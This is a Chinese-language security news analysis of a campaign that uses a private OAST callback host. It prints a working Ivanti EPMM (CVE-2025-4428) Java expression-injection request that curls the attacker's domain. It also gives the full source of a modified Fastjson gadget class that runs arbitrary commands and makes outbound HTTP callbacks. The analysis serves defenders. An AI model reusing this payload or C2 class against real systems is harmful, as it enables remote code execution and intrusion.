摘要

本報告詳細技術分析了一項複雜且長期運作的攻擊行動,該行動利用一個專用的 Out-of-band Application Security Testing (OAST) 服務。本調查重點在於其技術基礎設施、攻擊 Payload 的組成,以及對如 Nuclei 和 Fastjson 反序列化 gadgets 等公開工具的修改。關鍵發現包括使用客製化 Java class 進行命令與控制 (C2) 以及策略性地在主要雲端平台上部署基礎設施以規避偵測。此分析突顯了 Threat actor 結合現成掃描工具與客製化、持續性 C2 組件的不斷演進的戰術,強調了需要進階的應用程式安全測試方法,例如 應用程式安全測試 (AST) 靜態應用程式安全測試 (SAST) 動態應用程式安全測試 (DAST) 交互式應用程式安全測試 (IAST) ,來對抗此類威脅。

揭密!威脅 actor 如何用私有 OAST 服務進行 RCE 攻擊?技術架構與 C2 程式碼詳解 | 資訊安全新聞

1. 簡介

Out-of-band Application Security Testing (OAST) 服務是現代漏洞研究和攻擊的關鍵組件。它們允許攻擊者確認導致外部網路互動的攻擊是否成功,例如伺服器端請求偽造 (SSRF) 或遠端程式碼執行 (RCE) [1]。雖然許多機會主義的 Threat actor 依賴公共 OAST 服務,但發現一個由攻擊者操作的專用 OAST 主機 i-sh.detectors-testing.com ,標誌著這是一項更具結構性且持續性的攻擊行動 [1]。本報告將剖析該基礎設施的技術組件及相關的攻擊技術。

2. 技術基礎設施與 OAST 機制

該攻擊行動的核心是一個託管在主要雲端服務供應商上的專用 OAST 服務,該服務已被觀察到持續在多個通訊埠 (80, 443 和 389) 上提供 Interactsh 服務 [1]。使用專用、長期存在的 OAST 基礎設施對於大流量、機會主義的掃描來說並不常見,這表明 Threat actor 具備更高層級的操作安全性和資源投入 [1]。選擇主要雲端服務供應商作為託管地點提供了一個顯著優勢,因為源自此類供應商的網路流量較少可能被預設的防禦機制阻擋 [1]。

OAST 服務的主要功能是接收來自受害目標的回呼。一個典型的攻擊 Payload,在本例中針對 Ivanti EPMM 漏洞 (CVE-2025-4428),展示了該機制。該 Payload 在原始 HTTP Request 中是 Base64 編碼的,旨在目標系統上執行一個命令,該命令會發起到 OAST 主機的外部連線。解碼後的 Payload 揭示了在 Java 表達式語言環境下的 RCE 命令注入:

GET /api/v2/featureusage?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20d4bqsd6e47mo47d93lpgq55d3j111y6em.i-sh.detectors-testing.com')%7d HTTP/1.1
Host: VC_REDACTED
...

該 Payload 的關鍵部分是 Java 表達式: ''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')) .exec('curl d4bqsd6e47mo47d93lpgq55d3j111y6em.i-sh.detectors-testing.com') 。這是一個經典的 Java RCE gadget chain,它使用 Reflection 來呼叫 Runtime.getRuntime().exec() ,執行命令 curl d4bqsd6e47mo47d93lpgq55d3j111y6em.i-sh.detectors-testing.com 。獨特的子網域 ( d4bqsd6e47mo47d93lpgq55d3j111y6em ) 作為特定攻擊嘗試的唯一識別碼,允許攻擊者將成功的回呼與最初的目標和漏洞建立關聯。

3. 客製化的命令與控制組件

對 OAST 基礎設施的進一步分析揭示了一個開放的目錄,其中託管了一個客製化的 Java class 檔案 TouchFile.class ,它是已知 Fastjson 1.2.47 反序列化攻擊 gadget 的修改版本 [1]。這種客製化是 Threat actor 願意修改和增強公共工具以滿足其特定需求的關鍵指標 [1]。 TouchFile class 的反編譯結構顯示了超出原始 gadget 簡單檔案創建行為的增強型 C2 能力。

3.1. TouchFile.class 分析

該 class 利用靜態初始化區塊 ( static {} ) 在 class 載入時執行程式碼,這是 Java 反序列化攻擊中常見的技術。該程式碼首先嘗試從 class 的 codebase URL 中解析查詢參數,特別尋找 cmd http 參數。這個機制允許攻擊者動態控制在受害主機上執行的 Payload。

  1. public class TouchFile {
  2. static {
  3. try {
  4. // 1. Default command for initial success confirmation
  5. String defaultCmd = "touch /tmp/success3125";
  6. List < String > cmds = new ArrayList < > ();
  7. List < String > urls = new ArrayList < > ();
  8. // 2. Extract query parameters from the class's codebase URL
  9. URL codebase = TouchFile.class.getProtectionDomain().getCodeSource().getLocation();
  10. if (codebase != null) {
  11. String s = codebase.toString();
  12. int idx = s.indexOf("?");
  13. if (idx != -1 && idx < s.length() - 1) {
  14. Map < String, List < String >> params = new HashMap < > ();
  15. String query = s.substring(idx + 1);
  16. // Parameter parsing logic...
  17. if (params.containsKey("cmd")) {
  18. cmds.addAll(params.get("cmd")); // Dynamic command execution
  19. }
  20. if (params.containsKey("http")) {
  21. urls.addAll(params.get("http")); // Dynamic HTTP request (OAST/C2)
  22. }
  23. }
  24. }
  25. // 3. Execute default command if no 'cmd' parameter is provided
  26. if (cmds.isEmpty()) {
  27. cmds.add(defaultCmd);
  28. }
  29. // 4. Execute all collected commands
  30. for (String cmd: cmds) {
  31. Process p = Runtime.getRuntime().exec(cmd.split(" "));
  32. p.waitFor();
  33. }
  34. // 5. Make all collected HTTP requests
  35. for (String u: urls) {
  36. HttpURLConnection c = (HttpURLConnection) new URL(u).openConnection();
  37. c.setRequestMethod("GET");
  38. c.getResponseCode();
  39. }
  40. } catch (Exception e) {
  41. e.printStackTrace(System.err);
  42. }
  43. }
  44. }

該程式碼的邏輯結構旨在提供一個穩健、多階段的 Payload。如果沒有提供參數,它會預設執行一個簡單的檔案創建 ( touch /tmp/success3125 ) 以進行基本的攻擊確認。然而,包含參數解析邏輯允許攻擊者透過 cmd 參數傳遞任意命令,並透過 http 參數觸發額外的外部 HTTP Request。這種設計將一個簡單的概念驗證 (proof-of-concept) 轉變成一個靈活的 C2 工具,能夠執行次要 Payload 或建立持續性的通訊通道。

3.2. 攻擊鏈的架構表示

從最初的掃描到最終 C2 執行的整個攻擊鏈,可以使用狀態圖來視覺化。這突顯了攻擊的多步驟性質,它比典型的單階段攻擊更為複雜。

graph TD A["Attacker Scanner
(Nuclei)"] -->|"Exploit Payload
(CVE-2025-4428)"| B(Vulnerable Target); B -->|RCE Triggered:
curl OAST Subdomain| C{OAST Host:
i-sh.detectors-testing.com}; C -->|Callback Received:
Exploit Confirmed| A; A -->|Second Stage:
Fastjson Deserialization| D(Target Loads
TouchFile.class); D -->|Class Static Initializer
Executes| E{"Check URL Parameters
(cmd/http)"}; E -->|If 'cmd' present| F["Execute Arbitrary Command
(e.g., Reverse Shell)"]; E -->|If 'http' present| G["Make Outbound
HTTP Request
(e.g., New C2)"]; E -->|If neither present| H["Execute Default Command
(touch /tmp/success3125)"]; F -->|C2 Established| A; G -->|New OAST/C2
Callback| A;

圖 1:從初始掃描到客製化 C2 執行的攻擊鏈架構。

4. 工具和操作戰術

Threat actor 的操作戰術特點是商品工具和客製化組件的結合。使用 Nuclei,一個流行的開源漏洞掃描器,為攻擊嘗試提供了一個廣泛的基礎 [1]。觀察到 Threat actor 同時使用當前和過時的 Nuclei 模板,例如已移除的 grafana-file-read.yaml ,表明他們可能擁有非標準或客製化維護的模板集合 [1]。這種做法在尋求維護一套私有、有效攻擊的 Threat actor 中很常見,如同在錯誤懸賞 (bug bounties) 的客製化模板集合環境中討論的那樣。

選擇 OAST 尤其值得注意。OAST 是一種專門形式的應用程式安全測試,專注於 Out-Of-Band Interaction。應用程式安全測試 (AST) 的總體概念對於防禦和攻擊都至關重要,涵蓋了各種方法 [2]:

  • 靜態應用程式安全測試 (SAST) :無需執行即可分析原始碼以尋找漏洞 [3]。
  • 動態應用程式安全測試 (DAST) :透過模擬攻擊從外部測試正在運行的應用程式 [4]。
  • 交互式應用程式安全測試 (IAST) :結合 SAST 和 DAST 的元素,透過在執行期間監控應用程式 [5]。

攻擊者的 OAST 服務實質上充當了一個專業的、客製化的 DAST 組件,用於確認其攻擊嘗試的成功。OAST 主機的長期持續性,可追溯到一年多前,進一步強調了該攻擊行動的結構化性質,與典型機會主義掃描器的快速基礎設施更換形成對比 [1]。

5. 結論

對持續性 OAST 攻擊行動的分析揭示了一個複雜的 Threat actor,他們已經超越了純粹的機會主義掃描。透過建立專用、長期存在的 OAST 基礎設施,並開發客製化的 C2 Payload,例如增強的 TouchFile.class ,該 Threat actor 展示了對持續攻擊的投入。其技術複雜性在於對已知 RCE 技術(Java reflection、Fastjson 反序列化)的修改,以及對雲端基礎設施的策略性利用以實現隱蔽和持續性。本案例研究是一個重要的提醒,即防禦策略必須不斷發展,不僅要偵測初次的攻擊嘗試,還要偵測微妙的、客製化的 C2 組件以及支援基礎設施的長期持續性。